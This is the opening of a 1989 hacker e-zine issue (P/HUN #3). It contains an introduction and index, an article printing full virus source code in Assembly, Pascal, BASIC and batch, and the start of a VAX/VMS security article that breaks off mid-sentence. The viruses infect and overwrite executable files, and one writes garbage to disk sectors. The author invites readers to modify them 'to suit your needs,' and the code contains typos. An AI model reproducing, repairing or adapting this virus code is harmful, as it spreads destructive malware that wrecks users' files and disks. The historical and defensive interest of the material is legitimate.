5907 lines
251 KiB
Plaintext
5907 lines
251 KiB
Plaintext
|
||
()---------------------------------------------------------------------------()
|
||
|
||
* = % = % = % = % = % = *
|
||
----= =----
|
||
-------% P H U N ]I[ %-------
|
||
----= =----
|
||
* = % = % = % = % = % = *
|
||
|
||
|
||
P/HUN Issue #3, Volume 2 Articles [10] + Introduction
|
||
Release : February 11th 1989 Comments: New - Vol 2
|
||
|
||
|
||
==P/HUN Magazine Inc.==
|
||
|
||
@ The Hacker's Den Bulletin Board System
|
||
[ Home of P/HUN Online Magazine & 2600 Magazine BBS #5 ]
|
||
(718)358/9209 :: 300/1200 Baud :: Open 24 Hrs
|
||
|
||
Proudly presents...
|
||
|
||
P/HUN Issue III
|
||
---------------
|
||
P/HUN Issue 3, Volume 2: Phile 1 of 11
|
||
|
||
|
||
Introduction & Index
|
||
--------------------
|
||
|
||
Welcome to P/HUN (fun) Issue III. A new volume for the New Year. We still
|
||
remember some people often ridiculed and thought that P/HUN Newsletter would
|
||
stop producing after the first or the second issue. Looks like that fraction
|
||
underestimated us severly.
|
||
|
||
I would also like to say this, P/HUN was started with one highly noble
|
||
thought in mind i.e. to spread knowledge that we individually or collectively
|
||
acquire through various resources. The intent has and will never be to
|
||
degrade other highly esteemed newsletters or compete with them in anyway.
|
||
The idea is to co-exist symbiotically for the good of the readers, in mutual
|
||
respect and assistance of each other.
|
||
|
||
We at P/HUN Inc. are very pleased that people enjoyed our last issue.
|
||
We received many calls from all over the U.S commenting about Mr. Slippery's
|
||
"Guide to PICK Operating System" and The Mentor's "Beginners Hacking Guide".
|
||
We at P/HUN Inc. would like to thank both of them for their great
|
||
contributions and hope hear more from them in future.
|
||
|
||
We are still looking for someone experienced enough to write various news and
|
||
happenings that occur in the Phreak/Hack community. I thank all that applied,
|
||
but we really didn't find anyone properly qualified.
|
||
|
||
A lot of hard work and effort has gone into making this issue possible. Yes
|
||
the size of this issue is record breaking. We hope you find it intresting.
|
||
|
||
If you have any comments, suggestion or would like to submit to our ever
|
||
growing newsletter, contact us at The Hacker's Den. If we find your article
|
||
intresting we will gladly publish it. Remember to only send us "original" &
|
||
"unreleased" stuff. There will be no exceptions. Although this issue contains
|
||
an article by Capt. Zap which has already been released. This file was a major
|
||
exeception due to the fact that we found it very intresting.
|
||
|
||
P/HUN Issues can be obtained from one of the sponsor boards listed below:
|
||
|
||
The Phoenix Project - 512-441/3088 [Official Phrack & LOD/H TJ! release point]
|
||
The Central Office - 914-234/3260 [2600 Bulletin Board System #2]
|
||
|
||
Here it is P/HUN Online Magazine Issue #3...Enjoy!
|
||
|
||
Red Knight & DareDevil
|
||
SysOps of The Hacker's Den
|
||
@ P/HUN Magazine Inc. / TSAN 89!
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
*-------------------*
|
||
-=| Table of Contents |=-
|
||
*-------------------*
|
||
|
||
No. Phile Description Author Size
|
||
--- ---------------------------------------- ------ ----
|
||
#1 - Introduction & Table of Contents Red Knight 3K
|
||
#2 - Viruses: Assembly, Pascal, Basic & Batch Tesla Coil ][ 24K
|
||
#3 - VAX/VMS System Security Lawrence Xavier 18K
|
||
#4 - AUtomated VOice Network(AUTOVON): An Outline DareDevil 26K
|
||
#5 - The Pan Am Airline Computer Part "A" Red Knight 47K
|
||
#6 - The Pan Am Airline Computer Part "B" Red Knight 26K
|
||
#7 - Common Channel (I) Signalling:An overview Tubular Phreak 18K
|
||
#8 - Who's Listening * Capt. Zap 58K
|
||
#9 - An Introduction to BITNET Aristotle 10K
|
||
#10 - Plastic Card Encoding Practices & Standards Hasan Ali 6K
|
||
#11 - Lockpicking: An Indepth Guide The LockSmith 14K
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
= P/HUN Issue #3, Volume 2: Phile #2 of 11 =
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
Viruses: Assembly, Pascal, Basic & Batch
|
||
----------------------------------------
|
||
By Tesla Coil ][
|
||
|
||
|
||
[ I do not take any responsibility for any damages that may occur when ]
|
||
[ compiling viruses in this article. This article has been written to ]
|
||
[ promote knowledge into the amazing world of computer viruses. ]
|
||
|
||
Viruses can be written in practically every computer language known today.
|
||
Although most effective viruses have been written in Assembly.
|
||
|
||
Many of us think that viruses cannot be written in Basic due to its limited
|
||
ability. This is untrue. Basic has the capability of producing very effective
|
||
viruses if properly used. Combining assembly and basic could futher enhance
|
||
the effectiveness of the virus.
|
||
|
||
In this article we will examine some viruses written in Assembly, Pascal, Basic
|
||
and Batch written by B. Fix, R. Burger and M. Vallen which proved to be very
|
||
intresting to me.
|
||
|
||
Please use some caution handling these virus programs. Please use a separate
|
||
disks when you wish to compile.
|
||
|
||
Virus in Assembly Language
|
||
--------------------------
|
||
|
||
Most viruses out there have been written in assembly because assembly has the
|
||
unique ability to bypass operating system security.
|
||
Here is an example of a virus written under MS-DOS 2.1 and can obviously be
|
||
compiled in the later versions. The article contains remarks so as to further
|
||
explain the parts. Programmers may wish to delete those segments if desired.
|
||
|
||
***************************************************
|
||
; Program Virus
|
||
; Version 1.1
|
||
; Writter : R. Burger
|
||
; Created 1986
|
||
; This is a demonstration program for computer
|
||
; viruses. It has the ability to replace itself.
|
||
; and thereby modify other programs. Enjoy.
|
||
;**************************************************
|
||
|
||
Code Segment
|
||
Assume CS:Code
|
||
progr equ 100h
|
||
ORG progr
|
||
|
||
;**************************************************
|
||
; The three NOP's serve as the marker byte of the
|
||
; virus which allow it to identify a virus.
|
||
;**************************************************
|
||
|
||
MAIN:
|
||
nop
|
||
nop
|
||
nop
|
||
|
||
;**************************************************
|
||
; Initialize the pointers
|
||
;**************************************************
|
||
|
||
mov ax,00
|
||
mov es:[pointer],ax
|
||
mov es:[counter],ax
|
||
mov es:[disks],al
|
||
|
||
;**************************************************
|
||
; Get the selected drive
|
||
;**************************************************
|
||
|
||
mov ah,19h ;drive?
|
||
int 21h
|
||
|
||
;**************************************************
|
||
; Get the current path on the current drive
|
||
;**************************************************
|
||
|
||
mov cs:drive,al ;save drive
|
||
mov ah,47h ;dir?
|
||
mov dh,0
|
||
add al,1
|
||
mov dl,al ;in actual drive
|
||
lea si,cs:old_path ;
|
||
int 21h
|
||
|
||
;**************************************************
|
||
; Get the number of drives present. If only one
|
||
; is present, the pointer for the search order
|
||
; will be set to serach order + 6
|
||
;**************************************************
|
||
|
||
mov as,0eh ;how many disks
|
||
mov dl,0 ;
|
||
int 21h
|
||
|
||
mov al,01
|
||
cmp al,01 ;one drive
|
||
jnz hups3
|
||
mov al,06
|
||
|
||
hups3: mov ah,0
|
||
lea bx,search_order
|
||
add bx,ax
|
||
add bx,0001h
|
||
mov cs:pointer,bx
|
||
clc
|
||
|
||
;**************************************************
|
||
; Carry is set, if no more .COM's are found.
|
||
; Then, to avoid unnecessary work, .EXE files will
|
||
; be renamed to .COM files and infected.
|
||
; This causes the error message "Program to large
|
||
; to fit memory" when starting larger infected
|
||
; EXE programs.
|
||
;*************************************************
|
||
|
||
change_disk:
|
||
jnc no_name_change
|
||
mov ah,17h ;change .EXE to .COM
|
||
lea dx,cs:maske_exe
|
||
int 21h
|
||
cmp al,0ffh
|
||
jnz no_name_change ;.EXE found?
|
||
|
||
;****************************************************
|
||
; If neither .COM nor .EXE is found then sectors
|
||
; will be overwritten depending on the system time
|
||
; in milliseconds. This is the time of the complete
|
||
; "infection" of a storage medium. The virus can
|
||
; find nothing more to infect and starts its destruction
|
||
;*****************************************************
|
||
|
||
mov ah,2ch ; read system clock
|
||
int 21h
|
||
mov bx,cs:pointer
|
||
mov al,cs:[bx]
|
||
mov bx,dx
|
||
mov cx,2
|
||
mov dh,0
|
||
int 26h ; write crap on disk
|
||
|
||
;******************************************************
|
||
; Check if the end of the search order table has been
|
||
; reached . If so, end.
|
||
;******************************************************
|
||
|
||
no_name_change:
|
||
mov bx,cs:pointer
|
||
dec bx
|
||
mov cs:pointer,bx
|
||
mov dl,cs:[bx]
|
||
cmp dl,0ffh
|
||
jnz hups2
|
||
jmp hops
|
||
|
||
;****************************************************
|
||
; Get new drive from the search order table and
|
||
; select it .
|
||
;***************************************************
|
||
|
||
hups2:
|
||
mov ah,0eh
|
||
int 21h ;change disk
|
||
|
||
;***************************************************
|
||
; Start in the root directory
|
||
;***************************************************
|
||
|
||
mov ah,3bh ;change path
|
||
lea dx,path
|
||
int 21h
|
||
jmp find_first_file
|
||
|
||
;**************************************************
|
||
; Starting from the root, search for the first
|
||
; subdir. FIrst convert all .EXE files to .COM
|
||
; in the old directory
|
||
;**************************************************
|
||
|
||
find_first_subdir:
|
||
mov ah,17h ;change .exe to .com
|
||
lea dx,cs:maske_exe
|
||
int 21h
|
||
mov ah,3bh ;use root directory
|
||
lea dx,path
|
||
int 21h
|
||
mov ah,04eh ;search for first subdirectory
|
||
mov cx,00010001b ;dir mask
|
||
lea dx,maske_dir ;
|
||
int 21h ;
|
||
jc change_disk
|
||
mov bx,CS:counter
|
||
INC,BX
|
||
DEC bx
|
||
jz use_next_subdir
|
||
|
||
;*************************************************
|
||
; Search for the next subdirectory. If no more
|
||
; directories are found, the drive will be changed.
|
||
;*************************************************
|
||
|
||
find_next_subdir:
|
||
mov ah,4fh ; search for next subdir
|
||
int 21h
|
||
jc change_disk
|
||
dec bx
|
||
jnz find_next_subdir
|
||
|
||
;*************************************************
|
||
; Select found directory.
|
||
**************************************************
|
||
|
||
use_next_subdir:
|
||
mov ah,2fh ;get dta address
|
||
int 21h
|
||
add bx,1ch
|
||
mov es:[bx],'\` ;address of name in dta
|
||
inc bx
|
||
push ds
|
||
mov ax,es
|
||
mov ds,ax
|
||
mov dx,bx
|
||
mov ah,3bh ;change path
|
||
int 21h
|
||
pop ds
|
||
mov bx,cs:counter
|
||
inc bx
|
||
mov CS:counter,bx
|
||
|
||
;**************************************************
|
||
; Find first .COM file in the current directory.
|
||
; If there are none, search the next directory.
|
||
;**************************************************
|
||
|
||
find_first_file:
|
||
mov ah,04eh ;Search for first
|
||
mov cx,00000001b ;mask
|
||
lea dx,maske_com ;
|
||
int 21h ;
|
||
jc find_first_subdir
|
||
jmp check_if_ill
|
||
|
||
;**************************************************
|
||
; If program is ill(infected) then search for
|
||
; another other.
|
||
;**************************************************
|
||
|
||
find_next_file:
|
||
mov ah,4fh ;search for next
|
||
int 21h
|
||
jc find_first_subdir
|
||
|
||
;*************************************************
|
||
; Check is already infected by virus.
|
||
**************************************************
|
||
|
||
check_if_ill:
|
||
mov ah,3dh ;open channel
|
||
mov al,02h ;read/write
|
||
mov dx,9eh ;address of name in dta
|
||
int 21
|
||
mov bx,ax ;save channel
|
||
mov ah,3fh ; read file
|
||
mov ch,buflen ;
|
||
mov dx,buffer ;write in buffer
|
||
int 21h
|
||
mov ah,3eh ;close file
|
||
int 21h
|
||
|
||
;***************************************************
|
||
; This routine will search the three NOP's(no
|
||
; operation).If present there is already an infection.
|
||
; We must then continue the search
|
||
;****************************************************
|
||
|
||
mov bx,cs:[buffer]
|
||
cmp bx,9090h
|
||
jz find_next_file
|
||
|
||
;***************************************************
|
||
; This routine will BY PASS MS-DOS WRITE PROTECTION
|
||
; if present. Very important !
|
||
;***************************************************
|
||
|
||
mov ah,43h ;write enable
|
||
mov al,0
|
||
mov dx,9eh ;address of name in dta
|
||
int 21h
|
||
mov ah,43h
|
||
mov al,01h
|
||
and cx,11111110b
|
||
int 21h
|
||
|
||
;****************************************************
|
||
; Open file for read/write access.
|
||
*****************************************************
|
||
|
||
mov ah,3dh ;open channel
|
||
mov al,02h ;read/write
|
||
mov dx,9eh ;address of name in dta
|
||
int 21h
|
||
|
||
;****************************************************
|
||
; Read date entry of program and save for future
|
||
; use.
|
||
;****************************************************
|
||
|
||
mov bx,ax ;channel
|
||
mov ah,57h ;get date
|
||
mov al.0
|
||
int 21h
|
||
push cx ;save date
|
||
push dx
|
||
|
||
;****************************************************
|
||
; The jump located at address 0100h of the program
|
||
; will be saved for further use.
|
||
*****************************************************
|
||
|
||
mov dx,cs:[conta] ;save old jmp
|
||
mov cs:[jmpbuf],dx
|
||
mov dx,cs:[buffer+1] ;save new jump
|
||
lea cx,cont-100h
|
||
sub dx,cx
|
||
mov cs:[conta],dx
|
||
|
||
;*****************************************************
|
||
; The virus copies itself to the start of the file.
|
||
;*****************************************************
|
||
|
||
mov ah,57h ;write date
|
||
mov al,1
|
||
pop dx
|
||
pop cx ;restore date
|
||
int 21h
|
||
|
||
;*****************************************************
|
||
; Close the file.
|
||
;*****************************************************
|
||
|
||
mov ah,3eh ;close file
|
||
int 21h
|
||
|
||
;*****************************************************
|
||
; Restore the old jump address. The virus saves at
|
||
; address "conta" the jump which was at the start of
|
||
; the host program.
|
||
; This is done to preserve the executability of the
|
||
; host program as much as possible.
|
||
; After saving it still works with the jump address
|
||
; contained in the virus. The jump address in the
|
||
; virus differs from the jump address in memory.
|
||
;****************************************************
|
||
|
||
mov dx,cs:[jmpbuf] ;restore old jump
|
||
mov cs:[conta],dx
|
||
hops: nop
|
||
call use_old
|
||
|
||
;****************************************************
|
||
; Continue with the host program.
|
||
;****************************************************
|
||
|
||
cont db 0e9h ;make jump
|
||
conta dw 0
|
||
mov ah,00
|
||
int 21h
|
||
|
||
;***************************************************
|
||
; Reactivate the selected drive at the start of
|
||
; the program.
|
||
;***************************************************
|
||
|
||
use_old:
|
||
mov ah,0eh ;use old drive
|
||
mov dl,cs:drive
|
||
int 21h
|
||
|
||
;***************************************************
|
||
; Reactivate the selected path at the start of
|
||
; the program.
|
||
;***************************************************
|
||
|
||
mov ah,3bh ;use old drive
|
||
lea dx,old_path-1 ;get old path and backslash
|
||
int 21h
|
||
ret
|
||
|
||
search_order db 0ffh,1,0,2,3,0ffh,00,offh
|
||
pointer dw 0000 ;pointer f. search order
|
||
counter dw 0000 ;counter f. nth. search
|
||
disks db 0 ;number of disks
|
||
|
||
maske_com db "*.com",00 ;search for com files
|
||
maske_dir db "*",00 ;search for dir's
|
||
maske_exe db offh,0,0,0,0,0,00111111b
|
||
db 0,"????????exe",0,0,0,0
|
||
db 0,"????????com",0
|
||
maske_all db offh,0,0,0,0,0,00111111b
|
||
db 0,"???????????",0,0,0,0
|
||
db 0,"????????com",0
|
||
|
||
buffer equ 0e00h ;a safe place
|
||
|
||
buflen equ 230h ;lenght of virus!!!!
|
||
;carefull
|
||
;if changing!!!!
|
||
jmpbuf equ buffer+buflen ;a safe place for jmp
|
||
path db "\",0 ;first place
|
||
drive db 0 ;actual drive
|
||
back_slash db "\"
|
||
old_path db 32 dup (?) ;old path
|
||
|
||
code ends
|
||
|
||
end main
|
||
|
||
[ END OF THIS VIRUS PROGRAM ]
|
||
|
||
|
||
|
||
Virus in Pascal
|
||
---------------
|
||
|
||
|
||
Pascal is another high level language that can produce eye popping computer
|
||
viruses. Especially when the usage of Turbo Pascal is involved.
|
||
The virus below was available through various bulletin boards for
|
||
a while.
|
||
|
||
{
|
||
------------------------------------------------------------------
|
||
Number One
|
||
|
||
|
||
Please handle this virus with care!!!!!!!!!!! [Deadly Demo]
|
||
|
||
Number One infects all .COM - file's name will be displayed
|
||
That file has been overwritten with Number Ones's program code and
|
||
is not reconstructible! If all files are infected or or no .COM
|
||
files are found, Number one gives you a <Smile>.
|
||
Files may be protected against infections of Number One by
|
||
setting the Read ONLY attribute.
|
||
|
||
Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A)
|
||
|
||
------------------------------------------------------ }
|
||
}
|
||
|
||
{C-}
|
||
{U-}
|
||
{I-} { Wont allow a user break, enable IO check}
|
||
|
||
{ -- Constants --------------------------------------- }
|
||
|
||
Const
|
||
VirusSize = 12027; {Number One's code size}
|
||
|
||
Warning :String[42] {Warning message}
|
||
= 'This file has been infected ny Number One!';
|
||
|
||
{ -- Type declarations------------------------------------- }
|
||
|
||
Type
|
||
DTARec =Record {Data area for file search }
|
||
DOSnext :Array[1..21] of Byte;
|
||
Attr : Byte;
|
||
Ftime,
|
||
FDate,
|
||
FLsize,
|
||
FHsize : Integer;
|
||
FullName: Array[1..13] of Char;
|
||
End;
|
||
|
||
Registers = Record {Register set used for file search }
|
||
Case Byte of
|
||
1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
|
||
2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);
|
||
End;
|
||
|
||
{ -- Variables--------------------------------------------- }
|
||
|
||
Var
|
||
{ Memory offset program code }
|
||
ProgramStart : Byte absolute Cseg:$100;
|
||
{ Infected marker }
|
||
MarkInfected : String[42] absolute Cseg:$180;
|
||
Reg : Registers; { Register set }
|
||
DTA : DTARec; { Data area }
|
||
Buffer : Array[Byte] of Byte; { Data buffer }
|
||
TestID : String[42]; { To recognize infected files }
|
||
UsePath : String[66]; { Path to search files }
|
||
{ Lenght of search path }
|
||
UsePathLenght: Byte absolute UsePath;
|
||
Go : File; { File to infect }
|
||
B : Byte; { Used }
|
||
|
||
{ -- Program code------------------------------------------ }
|
||
|
||
Begin
|
||
WriteLn(Warning); { Display warning message }
|
||
GetDir(0, UsePath); { get current directory }
|
||
if Pos('\', UsePath) <> UsePathLenght then
|
||
UsePath := UsePath + '\';
|
||
UsePath := UsePath + '*.COM'; { Define search mask }
|
||
Reg.AH := $1A; { Set data area }
|
||
Reg.DS := Seg(DTA);
|
||
Reg.DX := Ofs(DTA);
|
||
MsDos(Reg);
|
||
UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
|
||
Reg.AH := $4E;
|
||
Reg.DS := Seg(UsePath);
|
||
Reg.DX := Ofs(UsePath[1]);
|
||
Reg CX := $ff; { Set attribute to find ALL files }
|
||
MsDos(Reg); { Find first matching entry }
|
||
IF not Odd(Reg.Flags) Then { If a file found then }
|
||
Repeat
|
||
UsePath := DTA.FullName;
|
||
B := Pos(#0, UsePath);
|
||
If B > 0 then
|
||
Delete(UsePath, B, 255); { Remove garbage }
|
||
Assign(Go, UsePath);
|
||
Reset(Go);
|
||
If IOresult = 0 Then { If not IO error then }
|
||
Begin
|
||
BlockRead(Go, Buffer, 2);
|
||
Move(Buffer[$80], TestID, 43);
|
||
{ Test if file already ill(Infected) }
|
||
If TestID <> Warning Then { If not then ... }
|
||
Begin
|
||
Seek (Go, 0);
|
||
{ Mark file as infected and .. }
|
||
MarkInfected := Warning;
|
||
{ Infect it }
|
||
BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7);
|
||
Close(Go);
|
||
{ Say what has been done }
|
||
WriteLn(UsePath + 'infected.');
|
||
Halt; {.. and halt the program }
|
||
End;
|
||
Close(Go);
|
||
End;
|
||
{ The file has already been infected, search next. }
|
||
Reg.AH := $4F;
|
||
Reg.DS := Seg(DTA);
|
||
Reg.DX := Ofs(DTA);
|
||
MsDos(Reg);
|
||
{ ......................Until no more files are found }
|
||
Until Odd(Red.Flags);
|
||
Write(`<Smile>'); {Give a smile }
|
||
End.
|
||
|
||
|
||
Although this is a primitive virus its effective.In this virus only the .COM
|
||
files are infected. Its about 12K and it will change the date entry.
|
||
|
||
|
||
|
||
Viruses in Basic
|
||
----------------
|
||
|
||
|
||
Basic is great language and often people think of it as a limited language
|
||
and will not be of any use in creating something like a virus. Well you are
|
||
really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987.
|
||
This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE
|
||
files.To do this you must compile the source code using a the Microsoft
|
||
Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit
|
||
the source code to place the lenght of the object program in the LENGHTVIR
|
||
variable. BV3.EXE should be in the current directory, COMMAND.COM must be
|
||
available, the LENGHTVIR variable must be set to the lenght of the linked
|
||
program and remember to use /e parameter when compiling.
|
||
|
||
10 REM ** DEMO
|
||
20 REM ** MODIFY IT YOUR OWN WAY IF DESIRED **
|
||
30 REM ** BASIC DOESNT SUCK
|
||
40 REM ** NO KIDDING
|
||
50 ON ERROR GOTO 670
|
||
60 REM *** LENGHTVIR MUST BE SET **
|
||
70 REM *** TO THE LENGHT TO THE **
|
||
80 REM *** LINKED PROGRAM ***
|
||
90 LENGHTVIR=2641
|
||
100 VIRROOT$="BV3.EXE"
|
||
110 REM *** WRITE THE DIRECTORY IN THE FILE "INH"
|
||
130 SHELL "DIR *.EXE>INH"
|
||
140 REM ** OPEN "INH" FILE AND READ NAMES **
|
||
150 OPEN "R",1,"INH",32000
|
||
160 GET #1,1
|
||
170 LINE INPUT#1,ORIGINAL$
|
||
180 LINE INPUT#1,ORIGINAL$
|
||
190 LINE INPUT#1,ORIGINAL$
|
||
200 LINE INPUT#1,ORIGINAL$
|
||
210 ON ERROR GOT 670
|
||
220 CLOSE#2
|
||
230 F=1:LINE INPUT#1,ORIGINAL$
|
||
240 REM ** "%" IS THE MARKER OF THE BV3
|
||
250 REM ** "%" IN THE NAME MEANS
|
||
260 REM ** INFECTED COPY PRESENT
|
||
270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
|
||
280 ORIGINAL$=MID$(ORIGINAL$,1,13)
|
||
290 EXTENSIONS$=MID$(ORIGINAL,9,13)
|
||
300 MID$(EXTENSIONS$,1,1)="."
|
||
310 REM *** CONCATENATE NAMES INTO FILENAMES **
|
||
320 F=F+1
|
||
330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN
|
||
GOTO 350
|
||
340 GOTO 320
|
||
350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
|
||
360 ON ERROR GOTO 210
|
||
365 TEST$=""
|
||
370 REM ++ OPEN FILE FOUND +++
|
||
380 OPEN "R",2,OROGINAL$,LENGHTVIR
|
||
390 IF LOF(2) < LENGHTVIR THEN GOTO 420
|
||
400 GET #2,2
|
||
410 LINE INPUT#1,TEST$
|
||
420 CLOSE#2
|
||
431 REM ++ CHECK IF PROGRAM IS ILL ++
|
||
440 REM ++ "%" AT THE END OF THE FILE MEANS..
|
||
450 REM ++ FILE IS ALREADY SICK ++
|
||
460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210
|
||
470 CLOSE#1
|
||
480 ORIGINALS$=ORIGINAL$
|
||
490 MID$(ORIGINALS$,1,1)="%"
|
||
499 REM ++++ SANE "HEALTHY" PROGRAM ++++
|
||
510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
|
||
520 SHELL C$
|
||
530 REM *** COPY VIRUS TO HEALTHY PROGRAM ****
|
||
540 C$="COPY "+VIRROOT$+ORIGINAL$
|
||
550 SHELL C$
|
||
560 REM *** APPEND VIRUS MARKER ***
|
||
570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
|
||
580 WRITE#1,ORIGINALS$
|
||
590 CLOSE#1
|
||
630 REM ++ OUYPUT MESSAGE ++
|
||
640 PRINT "INFECTION IN " ;ORIGIANAL$; " !! BE WARE !!"
|
||
650 SYSTEM
|
||
660 REM ** VIRUS ERROR MESSAGE
|
||
670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM
|
||
680 END
|
||
|
||
|
||
This basic virus will only attack .EXE files. After the execution you will
|
||
see a "INH" file which contains the directory, and the file %SORT.EXE.
|
||
Programs which start with "%" are NOT infected ,they pose as back up copies.
|
||
|
||
|
||
Batch Viruses
|
||
-------------
|
||
|
||
|
||
Whoever thought that viruses could be in BATCH file.This virus which we
|
||
are about to see makes use of MS-DOS operating system. This BATCH virus
|
||
uses DEBUG & EDLIN programs.
|
||
|
||
Name: VR.BAT
|
||
|
||
echo = off ( Self explanatory)
|
||
ctty nul ( This is important. Console output is turned off)
|
||
path c:\msdos ( May differ on other systems )
|
||
dir *.com/w>ind ( The directory is written on "ind" ONLY name entries)
|
||
edlin ind<1 ( "Ind" is processed with EDLIN so only file names appear)
|
||
debug ind<2 ( New batch program is created with debug)
|
||
edlin name.bat<3 ( This batch goes to an executable form because of EDLIN)
|
||
ctty con ( Console interface is again assigned)
|
||
name ( Newly created NAME.BAT is called.
|
||
|
||
|
||
In addition to file to this Batch file,there command files,here named 1,2,3
|
||
|
||
Here is the first command file:
|
||
-------------------------------
|
||
Name: 1
|
||
|
||
1,4d ( Here line 1-4 of the "IND" file are deleted )
|
||
e ( Save file )
|
||
|
||
Here is the second command file:
|
||
--------------------------------
|
||
Name: 2
|
||
|
||
m100,10b,f000 (First program name is moved to the F000H address to save)
|
||
e108 ".BAT" (Extention of file name is changed to .BAT)
|
||
m100,10b,f010 (File is saved again)
|
||
e100"DEL " (DEL command is written to address 100H)
|
||
mf000,f00b,104 (Original file is written after this command)
|
||
e10c 2e (Period is placed in from of extension)
|
||
e110 0d,0a (Carrige return+ line feed)
|
||
mf010,f020,11f ( Modified file is moved to 11FH address from buffer area)
|
||
e112 "COPY \VR.BAT" ( COPY command is now placed in front of file)
|
||
e12b od,0a (COPY command terminated with carriage return + lf)
|
||
rxc ( The CX register is ... )
|
||
2c ( set to 2CH)
|
||
nname.bat ( Name it NAME.BAT)
|
||
w ( Write )
|
||
q ( quit )
|
||
|
||
|
||
The third command file must be printed as a hex dump because it contains
|
||
2 control characters (1Ah=Control Z) and this is not entirely printable.
|
||
|
||
Hex dump of the third command file:
|
||
-----------------------------------
|
||
Name: 3
|
||
|
||
0100 31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79
|
||
1 , 1 ? . . n y y y y y y y
|
||
0110 79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79
|
||
y . 2 , ? ? r . . n n y y y
|
||
0120 79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00
|
||
y y y y . E . . . . . . . . .
|
||
|
||
|
||
In order for this virus to work VR.BAT should be in the root. This program only
|
||
affects .COM files.
|
||
|
||
End Note
|
||
--------
|
||
All these viruses can be modified to suit your needs. If anyone has seen any
|
||
intresting viruses please contact me at The Hacker's Den BBS.
|
||
|
||
Suggested readings:
|
||
|
||
Computer Viruses: A high Tech Disease by Abacus
|
||
2600 Magazine: Volume 5, Number 2
|
||
|
||
-TC][-
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
= P/HUN Issue #3, Volume 2: Phile #3 of 11 =
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
VAX/VMS System Security
|
||
=======================
|
||
Written for P/HUN Inc.,P/HUN Online Magazine
|
||
--------------------------------------------
|
||
By Lawrence Xavier
|
||
January, 1989
|
||
|
||
|
||
VAX/VMS may be the worlds best operating system. It certainly beats the
|
||
pants off each and every IBM OS, and wins over Unix hands down. Native
|
||
VAX/VMS security is rated higher (by the U.S. Government) than all IBM
|
||
mainframe OSs, even after such security packages as RACF and Top Secret
|
||
are added to them.
|
||
|
||
VMS is not without its foibles and kludges, however. For one thing,
|
||
enabling all the security features of VMS is guaranteed to crash the
|
||
system! For another, many of VMS's security features are annoying to
|
||
set up, encouraging lazy system managers to put off doing so indefinitely.
|
||
|
||
VMS got a bad reputation when young hackers were able to routinely break
|
||
into many systems by using default accounts and passwords such as username
|
||
SYSTEM with password MANAGER. This has all changed with VMS 4.7: in the
|
||
upgrade procedure the installer is required to change passwords on these
|
||
accounts or eliminate them entirely.
|
||
|
||
Let's go over some of the basic features of VMS security, then look at some
|
||
common problems and loopholes. Once you know what the loopholes are you can
|
||
take steps to close them on systems you manage and increase security.
|
||
|
||
|
||
VMS Security Features
|
||
=====================
|
||
|
||
Logging In:
|
||
-----------
|
||
VAX/VMS systems have several types of protection that can be set up on
|
||
logins. Logins can be restricted by time of day, day of the week, and by
|
||
terminal ID. Logins can also be restricted by where they come from: Local,
|
||
Remote, Dialup, etc.
|
||
|
||
Local are logins on direct connect ports or DECservers.
|
||
Remote are logins across DECnet.
|
||
Dialup are logins across X.25 or on ports set with the DIALUP
|
||
characteristic.
|
||
|
||
Usually VMS will present a
|
||
Username:
|
||
prompt after it sees one or two <CR> characters (which are used by VMS to
|
||
set the Baud rate, if AutoBaud is enabled).
|
||
|
||
If a System Password has been set on the port, VMS will BEEP after the
|
||
first <CR>, and will then seem to be dead. Only after the correct System
|
||
Password has been entered will the Username: prompt be given.
|
||
|
||
VMS gives no indication of whether a correct username has been entered: it
|
||
always asks for a Password:. VMS passwords can be like any other passwords,
|
||
or they may be generated nonsense words. The /GENERATE_PASSWORD qualifier
|
||
may be placed on user accounts by the system manager, forcing them to
|
||
select from lists of supposedly easy to remember but nonsensical
|
||
passwords.
|
||
|
||
The system manager may also enforce a minimum password length and can even
|
||
impose dual passwords on accounts. If a Username with dual passwords is
|
||
entered, the system will prompt for Password: twice in a row. Automatic
|
||
Password expiration dates can be set, forcing users to change their
|
||
passwords every so often: from once a day to once a year or never.
|
||
|
||
After the Username and Password have been entered, the system will either
|
||
log the user in, or will print the familiar message,
|
||
|
||
User Authorization Failure
|
||
|
||
and will hang up after a settable number of failures (the default is 3) if
|
||
the port characteristics include DIALUP and HANGUP.
|
||
|
||
|
||
Breakin Detection:
|
||
-----------------
|
||
If a hacker were trying to get into the system he could just continue to
|
||
dialup and try again. But VMS has some features to discourage this too.
|
||
|
||
If breakin detection and evasion is enabled, VMS will start to get cagey.
|
||
If the count of login failures from a specific source gets high enough, the
|
||
system assumes a break-in is in progress. Only login failures caused by
|
||
